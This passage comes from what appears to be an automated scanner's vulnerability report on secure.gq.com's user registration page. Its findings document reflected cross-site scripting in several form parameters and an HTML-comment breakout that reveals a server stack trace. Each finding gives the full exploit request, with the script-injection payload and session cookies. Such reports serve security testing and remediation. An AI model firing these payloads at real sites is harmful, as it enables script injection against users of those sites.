Cookie: mobify=0; s_pers=%20s_vnum_m%3D1322719200759%2526vn%253D1%7C1322719200759%3B%20ev1%3Dshoes%2520shorts%2520pants%2520socks%7C1320346853383%3B%20s_depth%3D7%7C1320346933645%3B%20_dr%3Dhttp%253A%252F%252Fwww.fakereferrerdominator.com%252Freferrerpathname%253Frefparname%253Drefvalue%7C1320346945361%3B%20s_campaign%3D%7C1320346951943%3B%20sinvisit_m%3Dtrue%7C1320346951947%3B%20s_nr%3D1320345151950%7C1322937151950%3B%20s_eVar10%3D%7C1320346951956%3B%20s_c30_persist%3Dfakereferrerdominator.com%7C1320346951968%3B%20s_c39_persist%3Dfakereferrerdominator.com%7C1320346951969%3B%20gpv_p5%3Dno%2520value%7C1320346951998%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|27596E9D850103EE-600001002029F2B2[CE]; __utma=135853927.574698479.1320344885.1320344885.1320344885.1; __utmb=135853927.2.10.1320344885; __utmc=135853927; __utmz=135853927.1320344885.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; SiteLifeHost=L3VM250l3pluckcom; anonId=1ec96be5-324f-4508-9e0c-4736dd0c4fb8; JSESSIONID=dcbLSqsQLa-JLfnMSSQnt.4

Response

HTTP/1.1 200 OK
Date: Thu, 03 Nov 2011 18:34:06 GMT
Server: Resin/3.1.6
cache-control: no-cache
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-store
Content-Language: en-US
Content-Type: text/html; charset=ISO-8859-1
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Length: 84604


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org
...[SNIP]...
<input class="med" type="text" name="firstName" id="firstName" value="eb9d7"><script>alert(1)</script>1a5a5e7255d2785cb" />
...[SNIP]...

1.8. https://secure.gq.com/user/registration [handler.cds.10201.cdsOfferId parameter]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   https://secure.gq.com
Path:   /user/registration

Issue detail

The value of the handler.cds.10201.cdsOfferId request parameter is copied into an HTML comment. The payload 55ea4-->bbe4bb063aa was submitted in the handler.cds.10201.cdsOfferId parameter. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to can close the open HTML comment and return to a plain text context. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

POST /user/registration HTTP/1.1
Host: secure.gq.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://secure.gq.com/user/registration?returnto=
Cookie: mobify=0; s_pers=%20s_vnum_m%3D1322719200759%2526vn%253D1%7C1322719200759%3B%20ev1%3Dshoes%2520shorts%2520pants%2520socks%7C1320346853383%3B%20s_depth%3D7%7C1320346933645%3B%20_dr%3Dhttp%253A%252F%252Fwww.fakereferrerdominator.com%252Freferrerpathname%253Frefparname%253Drefvalue%7C1320346945361%3B%20s_campaign%3D%7C1320346951943%3B%20sinvisit_m%3Dtrue%7C1320346951947%3B%20s_nr%3D1320345151950%7C1322937151950%3B%20s_eVar10%3D%7C1320346951956%3B%20s_c30_persist%3Dfakereferrerdominator.com%7C1320346951968%3B%20s_c39_persist%3Dfakereferrerdominator.com%7C1320346951969%3B%20gpv_p5%3Dno%2520value%7C1320346951998%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|27596E9D850103EE-600001002029F2B2[CE]; __utma=135853927.574698479.1320344885.1320344885.1320344885.1; __utmb=135853927.2.10.1320344885; __utmc=135853927; __utmz=135853927.1320344885.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; SiteLifeHost=L3VM250l3pluckcom; anonId=1ec96be5-324f-4508-9e0c-4736dd0c4fb8; JSESSIONID=dcbLSqsQLa-JLfnMSSQnt.4
Content-Type: application/x-www-form-urlencoded
Content-Length: 1005

returnto=%2F&applicationId=93&command=submit&newOfferState=&email=&password1=&password2=&username=&rememberme=true&firstName=&lastName=&address1=&address2=&city=&state=&zip=&country=US&handler.cds=handler.cds.10201.&handler.cds.10201.cdsOfferId=1020155ea4-->bbe4bb063aa&handler.cds.10201.errorView=null&handler.ecom.0.errorView=redirect%3A%2Fservices%2FecomErrors%3FecomReturnto%3D%2Fuser%2Fregistration%2Foptions%3FsubOffer%3D0&handler.cds.0.errorView=redirect%3A%2Fse
...[SNIP]...

Response

HTTP/1.1 500 Internal Server Error
Date: Thu, 03 Nov 2011 18:35:14 GMT
Server: Resin/3.1.6
Content-Type: text/html; charset=ISO-8859-1
Connection: close
Content-Length: 26135


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org
...[SNIP]...
<span id="trace" style="display:none">
org.springframework.web.util.NestedServletException: Request processing
failed; nested exception is java.lang.NumberFormatException: For input
string: "1020155ea4-->bbe4bb063aa"
   at org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:583)
   at org.springframework.web.servlet.FrameworkServlet.doPost(FrameworkServlet.java:511)
   at javax.servlet
...[SNIP]...

1.9. https://secure.gq.com/user/registration [lastName parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://secure.gq.com
Path:   /user/registration

Issue detail

The value of the lastName request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 33080"><script>alert(1)</script>4297f4ed205f8821f was submitted in the lastName parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.

Request

GET /user/registration?returnto=%2F&applicationId=93&command=submit&newOfferState=&email=&password1=&password2=&username=&rememberme=true&firstName=&lastName=33080"><script>alert(1)</script>4297f4ed205f8821f&address1=&address2=&city=&state=&zip=&country=US&handler.cds=handler.cds.10201.&handler.cds.10201.cdsOfferId=10201&handler.cds.10201.errorView=null&handler.ecom.0.errorView=redirect%3A%2Fservices%2FecomErrors%3FecomReturnto%3D%2Fuser%2Fregistration%2Foptions%3FsubOffer%3D0&handler.cds.0.errorView=redirect%3A%2Fservices%2FcdsErrors%3FcdsReturnto%3D%2Fuser%2Fregistration%2Foptions%3FsubOffer%3D0&toolkit.application=registration&toolkit.applicationId=NONE+PROVIDED&formName=user.registration&partnerCode=&sourceCode=&handler.newsletter.137.status_override=true&handler.newsletter=handler.newsletter.137.&handler.newsletter.137.newsletterId=137&handler.newsletter.137.isRequired=true&handler.newsletter.138.status_override=true&handler.newsletter=handler.newsletter.138.&handler.newsletter.138.newsletterId=138&handler.newsletter.138.isRequired=true&submit=Submit+Query HTTP/1.1
Host: secure.gq.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://secure.gq.com/user/registration?returnto=
Cookie: mobify=0; s_pers=%20s_vnum_m%3D1322719200759%2526vn%253D1%7C1322719200759%3B%20ev1%3Dshoes%2520shorts%2520pants%2520socks%7C1320346853383%3B%20s_depth%3D7%7C1320346933645%3B%20_dr%3Dhttp%253A%252F%252Fwww.fakereferrerdominator.com%252Freferrerpathname%253Frefparname%253Drefvalue%7C1320346945361%3B%20s_campaign%3D%7C1320346951943%3B%20sinvisit_m%3Dtrue%7C1320346951947%3B%20s_nr%3D1320345151950%7C1322937151950%3B%20s_eVar10%3D%7C1320346951956%3B%20s_c30_persist%3Dfakereferrerdominator.com%7C1320346951968%3B%20s_c39_persist%3Dfakereferrerdominator.com%7C1320346951969%3B%20gpv_p5%3Dno%2520value%7C1320346951998%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|27596E9D850103EE-600001002029F2B2[CE]; __utma=135853927.574698479.1320344885.1320344885.1320344885.1; __utmb=135853927.2.10.1320344885; __utmc=135853927; __utmz=135853927.1320344885.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; SiteLifeHost=L3VM250l3pluckcom; anonId=1ec96be5-324f-4508-9e0c-4736dd0c4fb8; JSESSIONID=dcbLSqsQLa-JLfnMSSQnt.4

Response

HTTP/1.1 200 OK
Date: Thu, 03 Nov 2011 18:34:13 GMT
Server: Resin/3.1.6
cache-control: no-cache
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-store
Content-Language: en-US
Content-Type: text/html; charset=ISO-8859-1
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Length: 84603


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org
...[SNIP]...
<input class="med" type="text" name="lastName" id="lastName" value="33080"><script>alert(1)</script>4297f4ed205f8821f" />
...[SNIP]...

1.10. https://secure.gq.com/user/registration [newOfferState parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://secure.gq.com
Path:   /user/registration

Issue detail

The value of the newOfferState request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e31c4"><script>alert(1)</script>9f269f77c8d47d4f3 was submitted in the newOfferState parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.

Request

GET /user/registration?returnto=%2F&applicationId=93&command=submit&newOfferState=e31c4"><script>alert(1)</script>9f269f77c8d47d4f3&email=&password1=&password2=&username=&rememberme=true&firstName=&lastName=&address1=&address2=&city=&state=&zip=&country=US&handler.cds=handler.cds.10201.&handler.cds.10201.cdsOfferId=10201&handler.cds.10201.errorView=null&handler.ecom.0.errorView=redirect%3A%2Fservices%2FecomErrors%3FecomReturnto%3D%2Fuser%2Fregistration%2Foptions%3FsubOffer%3D0&handler.cds.0.errorView=redirect%3A%2Fservices%2FcdsErrors%3FcdsReturnto%3D%2Fuser%2Fregistration%2Foptions%3FsubOffer%3D0&toolkit.application=registration&toolkit.applicationId=NONE+PROVIDED&formName=user.registration&partnerCode=&sourceCode=&handler.newsletter.137.status_override=true&handler.newsletter=handler.newsletter.137.&handler.newsletter.137.newsletterId=137&handler.newsletter.137.isRequired=true&handler.newsletter.138.status_override=true&handler.newsletter=handler.newsletter.138.&handler.newsletter.138.newsletterId=138&handler.newsletter.138.isRequired=true&submit=Submit+Query HTTP/1.1
Host: secure.gq.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://secure.gq.com/user/registration?returnto=
Cookie: mobify=0; s_pers=%20s_vnum_m%3D1322719200759%2526vn%253D1%7C1322719200759%3B%20ev1%3Dshoes%2520shorts%2520pants%2520socks%7C1320346853383%3B%20s_depth%3D7%7C1320346933645%3B%20_dr%3Dhttp%253A%252F%252Fwww.fakereferrerdominator.com%252Freferrerpathname%253Frefparname%253Drefvalue%7C1320346945361%3B%20s_campaign%3D%7C1320346951943%3B%20sinvisit_m%3Dtrue%7C1320346951947%3B%20s_nr%3D1320345151950%7C1322937151950%3B%20s_eVar10%3D%7C1320346951956%3B%20s_c30_persist%3Dfakereferrerdominator.com%7C1320346951968%3B%20s_c39_persist%3Dfakereferrerdominator.com%7C1320346951969%3B%20gpv_p5%3Dno%2520value%7C1320346951998%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|27596E9D850103EE-600001002029F2B2[CE]; __utma=135853927.574698479.1320344885.1320344885.1320344885.1; __utmb=135853927.2.10.1320344885; __utmc=135853927; __utmz=135853927.1320344885.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; SiteLifeHost=L3VM250l3pluckcom; anonId=1ec96be5-324f-4508-9e0c-4736dd0c4fb8; JSESSIONID=dcbLSqsQLa-JLfnMSSQnt.4

Response

HTTP/1.1 200 OK
Date: Thu, 03 Nov 2011 18:33:26 GMT
Server: Resin/3.1.6
cache-control: no-cache
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-store
Content-Language: en-US
Content-Type: text/html; charset=ISO-8859-1
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Length: 84487


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org
...[SNIP]...
<input type="hidden" name="newOfferState" id="newOfferState" value="e31c4"><script>alert(1)</script>9f269f77c8d47d4f3" />
...[SNIP]...

1.11. https://secure.gq.com/user/registration [password1 parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://secure.gq.com
Path:   /user/registration

Issue detail

The value of the password1 request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload eef26"><script>alert(1)</script>aa8d67c7421283f6 was submitted in the password1 parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.

Request

GET /user/registration?returnto=%2F&applicationId=93&command=submit&newOfferState=&email=&password1=eef26"><script>alert(1)</script>aa8d67c7421283f6&password2=&username=&rememberme=true&firstName=&lastName=&address1=&address2=&city=&state=&zip=&country=US&handler.cds=handler.cds.10201.&handler.cds.10201.cdsOfferId=10201&handler.cds.10201.errorView=null&handler.ecom.0.errorView=redirect%3A%2Fservices%2FecomErrors%3FecomReturnto%3D%2Fuser%2Fregistration%2Foptions%3FsubOffer%3D0&handler.cds.0.errorView=redirect%3A%2Fservices%2FcdsErrors%3FcdsReturnto%3D%2Fuser%2Fregistration%2Foptions%3FsubOffer%3D0&toolkit.application=registration&toolkit.applicationId=NONE+PROVIDED&formName=user.registration&partnerCode=&sourceCode=&handler.newsletter.137.status_override=true&handler.newsletter=handler.newsletter.137.&handler.newsletter.137.newsletterId=137&handler.newsletter.137.isRequired=true&handler.newsletter.138.status_override=true&handler.newsletter=handler.newsletter.138.&handler.newsletter.138.newsletterId=138&handler.newsletter.138.isRequired=true&submit=Submit+Query HTTP/1.1
Host: secure.gq.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://secure.gq.com/user/registration?returnto=
Cookie: mobify=0; s_pers=%20s_vnum_m%3D1322719200759%2526vn%253D1%7C1322719200759%3B%20ev1%3Dshoes%2520shorts%2520pants%2520socks%7C1320346853383%3B%20s_depth%3D7%7C1320346933645%3B%20_dr%3Dhttp%253A%252F%252Fwww.fakereferrerdominator.com%252Freferrerpathname%253Frefparname%253Drefvalue%7C1320346945361%3B%20s_campaign%3D%7C1320346951943%3B%20sinvisit_m%3Dtrue%7C1320346951947%3B%20s_nr%3D1320345151950%7C1322937151950%3B%20s_eVar10%3D%7C1320346951956%3B%20s_c30_persist%3Dfakereferrerdominator.com%7C1320346951968%3B%20s_c39_persist%3Dfakereferrerdominator.com%7C1320346951969%3B%20gpv_p5%3Dno%2520value%7C1320346951998%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|27596E9D850103EE-600001002029F2B2[CE]; __utma=135853927.574698479.1320344885.1320344885.1320344885.1; __utmb=135853927.2.10.1320344885; __utmc=135853927; __utmz=135853927.1320344885.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; SiteLifeHost=L3VM250l3pluckcom; anonId=1ec96be5-324f-4508-9e0c-4736dd0c4fb8; JSESSIONID=dcbLSqsQLa-JLfnMSSQnt.4

Response

HTTP/1.1 200 OK
Date: Thu, 03 Nov 2011 18:33:40 GMT
Server: Resin/3.1.6
cache-control: no-cache
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-store
Content-Language: en-US
Content-Type: text/html; charset=ISO-8859-1
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Length: 84600


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org
...[SNIP]...
<input class="med" type="password" name="password1" id="password1" value="eef26"><script>alert(1)</script>aa8d67c7421283f6" />
...[SNIP]...

1.12. https://secure.gq.com/user/registration [password2 parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://secure.gq.com
Path:   /user/registration

Issue detail

The value of the password2 request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 51dc5"><script>alert(1)</script>d092e059d2d316409 was submitted in the password2 parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.

Request

GET /user/registration?returnto=%2F&applicationId=93&command=submit&newOfferState=&email=&password1=&password2=51dc5"><script>alert(1)</script>d092e059d2d316409&username=&rememberme=true&firstName=&lastName=&address1=&address2=&city=&state=&zip=&country=US&handler.cds=handler.cds.10201.&handler.cds.10201.cdsOfferId=10201&handler.cds.10201.errorView=null&handler.ecom.0.errorView=redirect%3A%2Fservices%2FecomErrors%3FecomReturnto%3D%2Fuser%2Fregistration%2Foptions%3FsubOffer%3D0&handler.cds.0.errorView=redirect%3A%2Fservices%2FcdsErrors%3FcdsReturnto%3D%2Fuser%2Fregistration%2Foptions%3FsubOffer%3D0&toolkit.application=registration&toolkit.applicationId=NONE+PROVIDED&formName=user.registration&partnerCode=&sourceCode=&handler.newsletter.137.status_override=true&handler.newsletter=handler.newsletter.137.&handler.newsletter.137.newsletterId=137&handler.newsletter.137.isRequired=true&handler.newsletter.138.status_override=true&handler.newsletter=handler.newsletter.138.&handler.newsletter.138.newsletterId=138&handler.newsletter.138.isRequired=true&submit=Submit+Query HTTP/1.1
Host: secure.gq.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://secure.gq.com/user/registration?returnto=
Cookie: mobify=0; s_pers=%20s_vnum_m%3D1322719200759%2526vn%253D1%7C1322719200759%3B%20ev1%3Dshoes%2520shorts%2520pants%2520socks%7C1320346853383%3B%20s_depth%3D7%7C1320346933645%3B%20_dr%3Dhttp%253A%252F%252Fwww.fakereferrerdominator.com%252Freferrerpathname%253Frefparname%253Drefvalue%7C1320346945361%3B%20s_campaign%3D%7C1320346951943%3B%20sinvisit_m%3Dtrue%7C1320346951947%3B%20s_nr%3D1320345151950%7C1322937151950%3B%20s_eVar10%3D%7C1320346951956%3B%20s_c30_persist%3Dfakereferrerdominator.com%7C1320346951968%3B%20s_c39_persist%3Dfakereferrerdominator.com%7C1320346951969%3B%20gpv_p5%3Dno%2520value%7C1320346951998%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|27596E9D850103EE-600001002029F2B2[CE]; __utma=135853927.574698479.1320344885.1320344885.1320344885.1; __utmb=135853927.2.10.1320344885; __utmc=135853927; __utmz=135853927.1320344885.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; SiteLifeHost=L3VM250l3pluckcom; anonId=1ec96be5-324f-4508-9e0c-4736dd0c4fb8; JSESSIONID=dcbLSqsQLa-JLfnMSSQnt.4

Response

HTTP/1.1 200 OK
Date: Thu, 03 Nov 2011 18:33:47 GMT
Server: Resin/3.1.6
cache-control: no-cache
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-store
Content-Language: en-US
Content-Type: text/html; charset=ISO-8859-1
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Length: 84494


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org
...[SNIP]...
<input class="med" type="password" name="password2" id="password2" value="51dc5"><script>alert(1)</script>d092e059d2d316409" />
...[SNIP]...

1.13. https://secure.gq.com/user/registration [returnto parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://secure.gq.com
Path:   /user/registration

Issue detail

The value of the returnto request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 81d9a"><script>alert(1)</script>92c2179a787 was submitted in the returnto parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /user/registration?returnto=81d9a"><script>alert(1)</script>92c2179a787 HTTP/1.1
Host: secure.gq.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://secure.gq.com/user/forgot_password?returnto=http://www.gq.com/search?qt=dismax&sort=score+desc&query=shoes+shorts+pants+socks&submit=
Cookie: mobify=0; s_pers=%20s_vnum_m%3D1322719200759%2526vn%253D1%7C1322719200759%3B%20ev1%3Dshoes%2520shorts%2520pants%2520socks%7C1320346853383%3B%20s_depth%3D6%7C1320346894887%3B%20s_campaign%3D%7C1320346917900%3B%20sinvisit_m%3Dtrue%7C1320346917903%3B%20s_nr%3D1320345117907%7C1322937117907%3B%20s_eVar10%3D%7C1320346917919%3B%20_dr%3Dhttp%253A%252F%252Fwww.fakereferrerdominator.com%252Freferrerpathname%253Frefparname%253Drefvalue%7C1320346917924%3B%20s_c30_persist%3Dfakereferrerdominator.com%7C1320346917956%3B%20s_c39_persist%3Dfakereferrerdominator.com%7C1320346917958%3B%20gpv_p5%3Dno%2520value%7C1320346917960%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Dconde-gqcom%253D%252526pid%25253Dhttps%2525253A%2525252F%2525252Fsecure.gq.com%2525252Fuser%2525252Fforgot_password%252526pidt%25253D1%252526oid%25253Dhttps%2525253A%2525252F%2525252Fsecure.gq.com%2525252Fuser%2525252Fregistration%2525253Freturnto%2525253D_1%252526oidt%25253D1%252526ot%25253DA%252526oi%25253D1%3B; s_vi=[CS]v1|27596E9D850103EE-600001002029F2B2[CE]; __utma=135853927.574698479.1320344885.1320344885.1320344885.1; __utmb=135853927.2.10.1320344885; __utmc=135853927; __utmz=135853927.1320344885.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; SiteLifeHost=L3VM250l3pluckcom; anonId=1ec96be5-324f-4508-9e0c-4736dd0c4fb8; JSESSIONID=dcbLSqsQLa-JLfnMSSQnt.4

Response

HTTP/1.1 200 OK
Date: Thu, 03 Nov 2011 18:32:24 GMT
Server: Resin/3.1.6
cache-control: no-cache
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-store
Content-Language: en-US
Content-Type: text/html; charset=ISO-8859-1
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Length: 83108


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org
...[SNIP]...
<a class="password" href="forgot_password?returnto=81d9a"><script>alert(1)</script>92c2179a787">
...[SNIP]...

1.14. https://secure.gq.com/user/registration [returnto parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://secure.gq.com
Path:   /user/registration

Issue detail

The value of the returnto request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 22877"><script>alert(1)</script>0f4f7b4e19e60e582 was submitted in the returnto parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.

Request

GET /user/registration?returnto=%2F22877"><script>alert(1)</script>0f4f7b4e19e60e582&applicationId=93&command=submit&newOfferState=&email=&password1=&password2=&username=&rememberme=true&firstName=&lastName=&address1=&address2=&city=&state=&zip=&country=US&handler.cds=handler.cds.10201.&handler.cds.10201.cdsOfferId=10201&handler.cds.10201.errorView=null&handler.ecom.0.errorView=redirect%3A%2Fservices%2FecomErrors%3FecomReturnto%3D%2Fuser%2Fregistration%2Foptions%3FsubOffer%3D0&handler.cds.0.errorView=redirect%3A%2Fservices%2FcdsErrors%3FcdsReturnto%3D%2Fuser%2Fregistration%2Foptions%3FsubOffer%3D0&toolkit.application=registration&toolkit.applicationId=NONE+PROVIDED&formName=user.registration&partnerCode=&sourceCode=&handler.newsletter.137.status_override=true&handler.newsletter=handler.newsletter.137.&handler.newsletter.137.newsletterId=137&handler.newsletter.137.isRequired=true&handler.newsletter.138.status_override=true&handler.newsletter=handler.newsletter.138.&handler.newsletter.138.newsletterId=138&handler.newsletter.138.isRequired=true&submit=Submit+Query HTTP/1.1
Host: secure.gq.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://secure.gq.com/user/registration?returnto=
Cookie: mobify=0; s_pers=%20s_vnum_m%3D1322719200759%2526vn%253D1%7C1322719200759%3B%20ev1%3Dshoes%2520shorts%2520pants%2520socks%7C1320346853383%3B%20s_depth%3D7%7C1320346933645%3B%20_dr%3Dhttp%253A%252F%252Fwww.fakereferrerdominator.com%252Freferrerpathname%253Frefparname%253Drefvalue%7C1320346945361%3B%20s_campaign%3D%7C1320346951943%3B%20sinvisit_m%3Dtrue%7C1320346951947%3B%20s_nr%3D1320345151950%7C1322937151950%3B%20s_eVar10%3D%7C1320346951956%3B%20s_c30_persist%3Dfakereferrerdominator.com%7C1320346951968%3B%20s_c39_persist%3Dfakereferrerdominator.com%7C1320346951969%3B%20gpv_p5%3Dno%2520value%7C1320346951998%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|27596E9D850103EE-600001002029F2B2[CE]; __utma=135853927.574698479.1320344885.1320344885.1320344885.1; __utmb=135853927.2.10.1320344885; __utmc=135853927; __utmz=135853927.1320344885.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; SiteLifeHost=L3VM250l3pluckcom; anonId=1ec96be5-324f-4508-9e0c-4736dd0c4fb8; JSESSIONID=dcbLSqsQLa-JLfnMSSQnt.4

Response

HTTP/1.1 200 OK
Date: Thu, 03 Nov 2011 18:33:06 GMT
Server: Resin/3.1.6
cache-control: no-cache
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-store
Content-Language: en-US
Content-Type: text/html; charset=ISO-8859-1
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Length: 84536


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org
...[SNIP]...
<a class="password" href="forgot_password?returnto=/22877"><script>alert(1)</script>0f4f7b4e19e60e582">
...[SNIP]...

